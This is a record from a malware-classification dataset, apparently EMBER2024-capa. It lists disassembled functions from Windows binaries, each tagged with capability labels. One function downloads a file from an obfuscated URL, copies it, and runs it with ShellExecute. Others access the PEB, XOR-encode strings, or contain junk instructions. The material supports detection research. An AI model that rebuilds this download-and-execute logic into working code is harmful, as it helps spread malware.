joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c7d30
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x610d6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push esi
push edi
mov esi, ecx
push 0x8b9ea4
lea ecx, [esp + 0xc]
call fcn.005bbab0
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
push edi
mov ecx, esi
mov dword [esp + 0x12c], 0
call fcn.005c74e0
mov edx, dword [esp + 0x12c]
push edi
push edx
lea eax, [esp + 0x1c]
push str._s_s
push eax
call fcn.00401aa0
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.dbghelp.dll_MakeSureDirectoryPathExists]
lea edx, [esp + 0x14]
push 0x6c015c
push edx
call fcn.005df430
mov esi, eax
add esp, 8
test esi, esi
jne 0x5c7df3
mov eax, dword [esp + 0xc]
push eax
call fcn.005bac50
lea ecx, [esp + 0x18]
push ecx
push str.r3dFS:_unable_to_open__s_for_writing_n
call fcn.005b8d40
add esp, 0xc
lea ecx, [esp + 8]
mov dword [esp + 0x120], 0xffffffff
call fcn.005bbb20
xor al, al
jmp 0x5c7e2a
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 0xc]
push esi
push edx
push 1
push edi
call fcn.005dff24
push esi
call fcn.005decf0
push edi
call fcn.005bac50
add esp, 0x18
lea ecx, [esp + 8]
mov dword [esp + 0x120], 0xffffffff
call fcn.005bbb20
mov al, 1
mov ecx, dword [esp + 0x118]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x11c
ret 8

Function at 0x5ca0f0
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x610ceb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x108
push ebx
push esi
mov ebx, ecx
push 0x8b9ea4
lea ecx, [esp + 0xc]
call fcn.005bbab0
push 0
lea eax, [esp + 0x10]
push eax
mov ecx, ebx
mov dword [esp + 0x120], 0
call fcn.005c6e30
lea ecx, [esp + 0xc]
push 0x6c2624
push ecx
call fcn.005df430
mov esi, eax
add esp, 8
test esi, esi
jne 0x5ca18d
lea edx, [esp + 0xc]
push edx
push str.r3dFS:_there_is_no_volume_file__s_n
call fcn.005b8d40
add esp, 8
lea ecx, [esp + 8]
mov dword [esp + 0x118], 0xffffffff
call fcn.005bbb20
pop esi
xor al, al
pop ebx
mov ecx, dword [esp + 0x108]
mov dword fs:[0], ecx
add esp, 0x114
ret
push ebp
push edi
push 2
push 0
push esi
call fcn.005e4587
push esi
call fcn.005e47c1
push 0
push 0
push esi
mov edi, eax
call fcn.005e4587
lea eax, [edi + 1]
push 1
push eax
call fcn.005babf0
push esi
push 1
mov ebp, eax
push edi
push ebp
call fcn.005e4b37
push esi
call fcn.005decf0
add esp, 0x38
lea ecx, [esp + 0x14]
push ecx
push edi
push ebp
lea ecx, [ebx + 0x104]
call fcn.005c9df0
push ebp
mov bl, al
call fcn.005bac50
add esp, 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x120], 0xffffffff
call fcn.005bbb20
mov ecx, dword [esp + 0x118]
pop edi
pop ebp
pop esi
mov al, bl
pop ebx
mov dword fs:[0], ecx
add esp, 0x114
ret
Function at 0x5d2330
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push esi
push 0
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x5d2351
xor eax, eax
pop esi
add esp, 0x224
ret
push edi
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x224
xor edi, edi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x5d23ab
jmp 0x5d2370
lea ecx, [esp + 0x28]
push str..exe
push ecx
call fcn.005d3a90
add esp, 8
test eax, eax
jne 0x5d23a7
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x5d2370
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret
mov edi, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x224
ret

Function at 0x5d4270
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x6110f8
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
jb 0x5d4343
push ebx
push ebp
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
lea ebx, [eax + 1]
mov dword [esp + 0x24], ebp
mov eax, SysReAllocString
test ebx, ebx
js 0x5d42be
shr eax, 1
test ebx, eax
je 0x5d42b8
add eax, eax
push eax
lea ecx, [esp + 0x14]
call fcn.005d4150
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov edi, dword [esp + 0x10]
push eax
push ecx
push edi
call fcn.005d4110
mov eax, dword [esi + 4]
lea edx, [eax + eax*2]
lea eax, [edi + edx*8]
add esp, 0xc
cmp eax, ebp
je 0x5d430b
mov ecx, dword [esp + 0x2c]
movq xmm0, qword [ecx]
movq qword [eax], xmm0
movq xmm0, qword [ecx + 8]
movq qword [eax + 8], xmm0
movq xmm0, qword [ecx + 0x10]
movq qword [eax + 0x10], xmm0
mov eax, dword [esi]
mov ecx, dword [esp + 0x18]
push 1
mov dword [esi], edi
push 1
mov dword [esi + 4], ebx
push eax
mov dword [esi + 8], ecx
mov dword [esp + 0x30], 0xffffffff
call fcn.005babb0
add esp, 0xc
pop edi
pop ebp
pop ebx
pop esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
add esp, 0x18
ret 4
mov ecx, dword [esi]
lea edx, [eax + eax*2]
lea ecx, [ecx + edx*8]
inc eax
mov dword [esi + 4], eax
test ecx, ecx
je 0x5d4373
mov eax, dword [esp + 0x20]
movq xmm0, qword [eax]
movq qword [ecx], xmm0
movq xmm0, qword [eax + 8]
movq qword [ecx + 8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
mov ecx, dword [esp + 0x10]
pop esi
mov dword fs:[0], ecx
add esp, 0x18
ret 4
Function at 0x5d9520
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
test edx, edx
je 0x5d9554
mov cl, byte [edx]
test cl, cl
je 0x5d9554
mov eax, 0x811c9dc5
movsx ecx, cl
or ecx, 0x20
xor ecx, eax
imul ecx, ecx, 0x1000193
inc edx
mov eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x5d9533
xor eax, 0x2a
imul eax, eax, 0x1000193
ret
xor eax, eax
ret
Function at 0x5de867
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6eff0c]
jne 0x5de871
repz ret
jmp fcn.005e83ef

Function at 0x5dea8e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x5deabf
call fcn.005e5bda
mov dword [eax], esi
call fcn.005e5bc7
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.005dfac6
add esp, 0x14
push 0x16
pop eax
jmp 0x5deb14
test dword [ebp + 0xc], 0xfffffff9
jne 0x5dea9b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x5deaec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.005e5bed
pop ecx
call fcn.005e5bc7
mov eax, dword [eax]
jmp 0x5deb14
test al, 0x10
jne 0x5deb12
test al, 1
je 0x5deb12
test byte [ebp + 0xc], 2
je 0x5deb12
call fcn.005e5bda
mov dword [eax], 5
call fcn.005e5bc7
mov dword [eax], 0xd
jmp 0x5deae3
xor eax, eax
pop esi
pop ebp
ret

Function at 0x5f3834
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.005e8567
and dword [ebp - 4], 0
cmp dword [0x8d5aa0], 0
mov ebx, eax
jne 0x5f38e5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x5f3996
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x6aa864
push edi
call esi
test eax, eax
je 0x5f3996
push eax
call fcn.005e84f5
mov dword [esp], 0x6aa854
push edi
mov dword [0x8d5aa0], eax
call esi
push eax
call fcn.005e84f5
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x8d5aa4], eax
call esi
push eax
call fcn.005e84f5
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x8d5aa8], eax
call esi
push eax
call fcn.005e84f5
pop ecx
mov dword [0x8d5ab0], eax
test eax, eax
je 0x5f38e5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.005e84f5
pop ecx
mov dword [0x8d5aac], eax
mov eax, dword [0x8d5aac]
cmp eax, ebx
je 0x5f393d
cmp dword [0x8d5ab0], ebx
je 0x5f393d
push eax
call fcn.005e8570
push dword [0x8d5ab0]
mov esi, eax
call fcn.005e8570
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x5f393d
test edi, edi
je 0x5f393d
call esi
test eax, eax
je 0x5f3934
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x5f3934
test byte [ebp - 0xc], 1
jne 0x5f393d
or dword [ebp + 0x10], 0x200000
jmp 0x5f3976
mov eax, dword [0x8d5aa4]
cmp eax, ebx
je 0x5f3976
push eax
call fcn.005e8570
pop ecx
test eax, eax
je 0x5f3976
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x5f3976
mov eax, dword [0x8d5aa8]
cmp eax, ebx
je 0x5f3976
push eax
call fcn.005e8570
pop ecx
test eax, eax
je 0x5f3976
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x8d5aa0]
call fcn.005e8570
pop ecx
test eax, eax
je 0x5f3996
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x5f3998
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5ff060
Capabilities:
Get common file path

Disassembly:
push ebp
push esi
push edi
xor edi, edi
test ebx, ebx
je 0x5ff0db
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edi
push edi
call ebp
push ebx
mov esi, eax
call fcn.005fdad2
add eax, esi
add esp, 4
lea eax, [eax + eax + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
jne 0x5ff097
pop edi
pop esi
pop ebp
ret
push esi
push edi
call ebp
mov ebp, eax
cmp word [edi + ebp*2 - 2], 0x5c
je 0x5ff0ae
mov word [edi + ebp*2], 0x5c
add ebp, 1
push ebx
xor esi, esi
call fcn.005fdad2
add esp, 4
test eax, eax
jbe 0x5ff0db
lea ebp, [edi + ebp*2]
mov cx, word [ebx + esi*2]
mov word [ebp], cx
push ebx
add esi, 1
add ebp, 2
call fcn.005fdad2
add esp, 4
cmp esi, eax
jb 0x5ff0c0
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x600210
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x14
push ebp
mov ebp, dword [esp + 0x1c]
push esi
xor esi, esi
cmp dword [0x8d60d0], esi
mov dword [esp + 8], esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0x24
mov dword [esp + 0x14], 0x26
mov dword [esp + 0x18], 0x2a
jne 0x6002a6
push 3
push 0x20
push 3
push 1
push 3
push 2
push esi
push esi
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
push 0x23
push 0x8d60d0
mov dword [0x8d60d0], 0x11c
mov dword [0x8d60d4], 6
mov dword [0x8d60d8], 1
mov word [0x8d61e4], si
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
neg eax
sbb eax, eax
add eax, 1
mov dword [0x6f13d4], eax
jmp 0x6002ab
mov eax, dword [0x6f13d4]
cmp eax, esi
je 0x6002ba
pop esi
mov eax, 1
pop ebp
add esp, 0x14
ret
cmp ebp, esi
je 0x6003da
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push edi
push esi
push esi
push esi
push ebp
call ebx
mov edi, eax
test edi, edi
je 0x6003d8
lea eax, [edi + edi]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
test eax, eax
mov dword [esp + 0x10], eax
je 0x6003d8
push 0
mov ecx, eax
push ecx
push edi
push ebp
call ebx
cmp edi, eax
jbe 0x6003d8
mov ebp, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor ebx, ebx
jmp 0x600310
mov eax, dword [esp + ebx*4 + 0x18]
cmp eax, 0x26
jne 0x60038f
push 0
push 0
push str._ProgramW6432_
call ebp
mov edi, eax
test edi, edi
je 0x6003d8
lea edx, [edi + edi + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x6003d8
push edi
push esi
push str._ProgramW6432_
call ebp
cmp edi, eax
jne 0x6003d8
push esi
push str._ProgramW6432_
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x600376
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x693c88
push 0x26
jmp 0x600395
cmp word [esi + edi*2 - 4], 0x5c
je 0x6003a3
push 0x6b4e18
add edi, 1
push edi
push esi
call fcn.00600060
jmp 0x6003a3
push 0x693c88
push eax
call fcn.00600100
mov esi, eax
add esp, 8
test esi, esi
je 0x6003d8
push esi
call fcn.005fdad2
push eax
mov eax, dword [esp + 0x18]
push esi
push eax
call fcn.00601e66
add esp, 0x10
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x14], eax
jne 0x6003d8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
add ebx, 1
xor esi, esi
cmp ebx, 3
jl 0x600310
pop edi
pop ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov eax, dword [esp + 0xc]
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x600780
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push eax
mov eax, dword [esp + 0xc]
call fcn.00600610
mov esi, eax
add esp, 4
test esi, esi
je 0x6007c2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x6007a4
test al, 0x50
je 0x6007c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x6007b7
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
pop esi
ret
mov eax, esi
pop esi
ret
Function at 0x601530
Capabilities:
Copy file
Create process on windows
Download url
Get file attributes
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6112a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add eax, 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1b7740
call esi
mov eax, 0x6b5754
sub eax, 0x1a457640
push eax
lea ecx, [ebp - 0x43]
call fcn.006013b0
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0x1f4
call esi
mov ecx, 0x6b5778
sub ecx, 0x1a457640
push ecx
lea ecx, [ebp - 0x43]
call fcn.006013b0
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
push 0x1f4
call esi
mov edx, 0x6b579c
sub edx, 0x1a457640
push edx
lea ecx, [ebp - 0x43]
call fcn.006013b0
xor ebx, ebx
mov edi, 0xf
mov ecx, eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x78], bl
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x6015e0
sub ecx, esi
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.004070d0
push 0x6edb9fae
lea ecx, [ebp - 0x22]
call fcn.00601400
mov esi, eax
mov ecx, esi
mov byte [ebp - 4], 3
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x601614
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x60]
call fcn.004070d0
mov ecx, dword [ebp - 0x5c]
mov edi, 0x10
cmp dword [ebp - 0x48], edi
jae 0x601637
lea ecx, [ebp - 0x5c]
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x64], edi
jae 0x601642
lea eax, [ebp - 0x78]
push ebx
push ebx
push ecx
push eax
push ebx
call sub.urlmon.dll_URLDownloadToFileA
push 0x5651add3
lea ecx, [ebp - 0x35]
call fcn.00601450
push 0x6edb9fd6
lea ecx, [ebp - 0x22]
mov esi, eax
call fcn.00601400
push 1
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x5651adfb
lea ecx, [ebp - 0x35]
call fcn.00601450
mov esi, eax
mov edx, 0xd5
xor ecx, ecx
jmp 0x601690
mov al, byte [ecx + 0x6b5810]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ebp + ecx - 0x11], al
jns 0x6016ad
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 4
jl 0x601690
push ebx
push ebx
push ebx
push esi
lea ecx, [ebp - 0x11]
push ecx
push ebx
mov byte [ebp - 0xd], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x6edba006
lea ecx, [ebp - 0x22]
call fcn.00601400
push eax
call fcn.005df447
add esp, 4
cmp dword [ebp - 0x48], edi
jb 0x6016ec
mov edx, dword [ebp - 0x5c]
push edx
call fcn.005bac50
add esp, 4
cmp dword [ebp - 0x64], edi
pop edi
pop esi
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x48], 0xf
pop ebx
jb 0x60170d
mov eax, dword [ebp - 0x78]
push eax
call fcn.005bac50
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x401258
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x1f
jmp 0x401272
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x401478
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp + 8]
je 0x40128f
mov byte [ebp - 1], 1
jmp 0x401293
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
mov byte [ebp - 3], al
mov dword [ebp - 0x18], 0x3f
cmp dword [ebp - 0x18], 0x20b1
jle 0x401339
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
shl eax, cl
and eax, dword [ebp + 0xc]
je 0x40134c
mov byte [ebp - 2], 1
jmp 0x401350
mov byte [ebp - 2], 0
mov al, byte [ebp - 2]
mov byte [ebp - 4], al
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
and eax, ecx
je 0x401368
and dword [ebp - 0x14], 0
jmp 0x401375
movzx eax, byte [ebp - 3]
movzx ecx, byte [ebp - 4]
or eax, ecx
mov dword [ebp - 0x14], eax
mov al, byte [ebp - 0x14]
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x10]
shl eax, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], 0xa6a
cmp dword [ebp - 0x1c], 0x1b4e
jle 0x401469
imul esp, dword [eax + 0x587034e8], 0x83b5abc
cmp bh, byte [ebp - 0x43a9ebc7]
push 0x7b040ea4
push cs
add al, 0x7b
lcall 0x8f3d, 0xea5d1bcf
xor byte [edi - 0x68929167], ch
push edx
push edi
inc edi
lahf
xor esp, dword [ebx]
xor edi, dword [ebp - 0x295cc78c]
or byte [ebp + esi + 0x1aaf0067], bl
xchg ebp, eax
jge 0x4013a9
fld qword [eax + 0x277e1e76]
stosb byte es:[edi], al
enter 0x1c1b, 0x76
ja 0x40140c
cmp ebp, edi
push es
or dl, ah
clc
inc edx
outsd dx, dword [esi]
push eax
push 0x176bb
pop eax
add eax, 0xe3b84
pop eax
jmp 0x4a2dba
cmpsb byte [esi], byte es:[edi]
pop eax
invalid
movzx eax, byte [ebp - 5]
or eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
jmp 0x40126b
mov dword [ebp - 0x20], 0x98
cmp dword [ebp - 0x20], 0x1c50
jle 0x4014f1
mov ah, 0x46
xchg edx, eax
pushal
dec esp
pop esi
in eax, 0x4b
invalid
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4015bb
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
test esi, esi
je 0x4015e5
movzx ecx, byte [edi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x433e90]
inc edi
sub esi, 1
jne 0x4015cd
pop edi
mov eax, edx
pop esi
ret 0xc

Function at 0x401e10
Capabilities:
Check if file exists

Disassembly:
mov eax, 0x1050
call fcn.00413b10
push ebx
mov ebx, dword [esp + 0x105c]
push ebp
push edi
mov edi, ecx
and dword [edi + 0x1034], 0
cmp byte [edi + 0x30], 0
jne 0x401e3c
test bl, 4
jne 0x401e3c
xor al, al
jmp 0x401e3e
mov al, 1
push esi
mov esi, ebx
shr esi, 1
not esi
and esi, 1
inc esi
shl esi, 0x1e
test bl, 1
je 0x401e57
or esi, 0x40000000
shr ebx, 3
not ebx
and ebx, 1
test al, al
je 0x401e66
or ebx, 2
lea ecx, [esp + 0x18]
call fcn.00401ab3
cmp byte [edi + 0x24], 0
je 0x401e7b
or esi, 0x100
push 0
push 0x8000000
push 3
push 0
push ebx
push esi
push dword [esp + 0x107c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x401eeb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x18]
push 0x800
push eax
push dword [esp + 0x106c]
call fcn.00403543
test al, al
je 0x401ef8
push 0
push 0x8000000
push 3
push 0
push ebx
push esi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x401ef3
mov dword [esp + 0x10], eax
jmp 0x401ef3
mov eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
cmp ebp, 0xffffffff
jne 0x401f09
cmp dword [esp + 0x10], 2
jne 0x401f09
mov dword [edi + 0x1034], 1
cmp byte [edi + 0x24], 0
pop esi
je 0x401f2f
cmp ebp, 0xffffffff
je 0x401f2f
or dword [esp + 0xc], 0xffffffff
lea eax, [esp + 0xc]
or dword [esp + 0x10], 0xffffffff
push 0
push eax
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileTime]
xor eax, eax
cmp ebp, 0xffffffff
mov byte [edi + 0x1c], al
mov dword [edi + 0x10], eax
setne bl
mov byte [edi + 0x15], al
je 0x401f5e
push 0x800
push dword [esp + 0x1064]
lea ecx, [edi + 0x32]
mov dword [edi + 8], ebp
push ecx
call fcn.004068bd
mov byte [edi + 0x25], 0
pop edi
pop ebp
mov al, bl
pop ebx
add esp, 0x1050
ret 8
Function at 0x40240a
Capabilities:
Write file on windows

Disassembly:
push ecx
push ecx
push ebp
push esi
mov esi, dword [esp + 0x18]
mov ebp, ecx
test esi, esi
jne 0x40241f
mov al, 1
jmp 0x40253a
cmp dword [ebp + 0x10], 1
lea ecx, [ebp + 8]
mov dword [esp + 0xc], ecx
jne 0x40243b
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea ecx, [ebp + 8]
mov dword [ecx], eax
jmp 0x40243f
mov dword [esp + 0xc], ecx
push ebx
push edi
and dword [esp + 0x10], 0
xor bl, bl
cmp dword [ebp + 0x10], 0
je 0x402493
xor edi, edi
test esi, esi
je 0x4024b4
mov eax, esi
sub eax, edi
cmp eax, 0x4000
jb 0x402464
mov eax, 0x4000
push 0
lea edx, [esp + 0x14]
push edx
push eax
mov eax, dword [esp + 0x28]
add eax, edi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
sete bl
jne 0x4024b0
mov ecx, dword [esp + 0x14]
add edi, 0x4000
cmp edi, esi
jb 0x402454
jmp 0x4024b0
push 0
lea eax, [esp + 0x14]
push eax
push esi
push dword [esp + 0x28]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ebx, [eax - 1]
neg ebx
sbb bl, bl
inc bl
test bl, bl
jne 0x402532
cmp byte [ebp + 0x1e], 0
je 0x402532
cmp dword [ebp + 0x10], 0
jne 0x402532
push 0
lea edi, [ebp + 0x32]
mov ecx, 0x452b1c
push edi
call fcn.0040170b
test al, al
je 0x402525
mov ecx, dword [esp + 0x14]
cmp dword [esp + 0x10], esi
jae 0x402441
cmp dword [esp + 0x10], 0
jbe 0x402441
mov edi, dword [ebp]
push 0
mov esi, dword [edi + 0x14]
mov ecx, esi
call dword [0x428220]
mov ecx, ebp
call esi
sub eax, dword [esp + 0x14]
mov ecx, dword [edi + 0x10]
sbb edx, 0
push edx
push eax
call dword [0x428220]
mov ecx, ebp
call dword [edi + 0x10]
mov esi, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
jmp 0x402441
push edi
push 0
mov ecx, 0x452b1c
call fcn.004019f9
pop edi
mov al, bl
mov byte [ebp + 0xc], 1
pop ebx
pop esi
pop ebp
pop ecx
pop ecx
ret 8

Function at 0x402682
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00413b10
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4026c7
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.00403543
test al, al
je 0x4026c7
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov esi, eax
mov eax, esi
pop esi
leave
ret 4
Function at 0x402700
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00413b10
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040385b
movzx eax, word [eax]
cmp eax, 0x2e
je 0x402731
cmp eax, 0x20
je 0x402731
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x402764
push esi
call fcn.00402670
test al, al
jne 0x402777
push 0x800
lea eax, [ebp - 0x1000]
push eax
push esi
call fcn.00403543
test al, al
je 0x402777
push 0
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x402777
cmp byte [ebp + 0xc], 0
je 0x402773
push dword [ebp + 0x10]
push esi
call fcn.0040293b
xor eax, eax
jmp 0x40278f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
push 2
pop eax
cmp ecx, eax
je 0x40278f
xor eax, eax
cmp ecx, 3
sete al
inc eax
pop esi
leave
ret 0xc

Function at 0x40293b
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00413b10
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
test eax, eax
jne 0x40298b
push 0x800
lea eax, [ebp - 0x1000]
push eax
push dword [ebp + 8]
call fcn.00403543
test al, al
je 0x40298b
push dword [ebp + 0xc]
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne bl
mov al, bl
pop ebx
leave
ret 8